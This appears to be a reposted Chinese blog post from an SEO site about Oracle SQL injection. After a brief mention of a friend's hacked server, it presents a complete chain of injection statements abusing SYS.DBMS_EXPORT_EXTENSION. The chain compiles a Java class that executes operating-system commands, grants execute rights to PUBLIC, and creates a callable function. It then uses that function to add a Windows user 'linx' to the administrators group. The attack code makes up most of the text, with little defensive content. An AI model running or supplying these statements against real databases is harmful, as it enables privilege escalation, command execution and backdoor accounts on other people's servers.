• SEO是一个到底多么牛叉的行业?SEO是一个到底多么牛叉的行业?
  • 郑州SEO郑州seo
  • 郑州SEO你只看到了别人的成功,却看不到别人默默的
  • 郑州SEOSEO切莫浪费时间在不必要的问题上
  • 1
  • 2
  • 3
  • 4

ORACLE注入代码之我所见

时间:2013-1-3 作者:问候seo

ORACLE注入代码

最近朋友发现他们的服务器被黑客给搞定了,也引起我对这块的注意,特分析记录学习一下。
经过分析,之所以有这个漏洞存在的原因是因为ORACLE的DDL所导致,但是如何规避这个问题,可能从ORACLE来入手解决还不能完全处理掉,需要与开发人员进行业务功能实现来入手。首先一个好的程序代码,是不应该存在注入点的,但是在现实平台上运行的系统确确实实应该把注入点来搞掉,排查掉才行,因为即使从ORACLE角度把这个问题个规避掉,注入点也会对操作系统产生安全。

该方式在WIN环境测试通过,LINUX在进一步研究,但如下值得大家注意!

–建立类
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””  create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=””;while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;myReader.close();return str;} catch (Exception e){return e.toString();}}}””;END;”;END;–’,’SYS’,0,’1′,0) from dual;
–赋Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””begin dbms_java.grant_permission( ””””PUBLIC””””, ””””SYS:java.io.FilePermission””””, ””””<>””””, ””””execute”””” );end;””;END;”;END;–’,’SYS’,0,’1′,0) from dual;
–创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””  create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ””””LinxUtil.runCMD(java.lang.String) return String””””; ””;END;”;END;–’,’SYS’,0,’1′,0) from dual;
–赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””grant all on LinxRunCMD to public””;END;”;END;–’,’SYS’,0,’1′,0) from dual;
–查看
select OBJECT_ID from all_objects where object_name =’LINXRUNCMD’ ;
–添加用户
select sys.LinxRunCMD(‘cmd /c net user linx /add’) from dual ;
select sys.LinxRunCMD(‘net localgroup administrators linx /add’) from dual ;

​文章由郑州seo整理,转载请注明:http://www.leiju88.com

声明:本文内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎发送邮件至:1448228637@qq.com 进行举报,并提供相关证据,工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。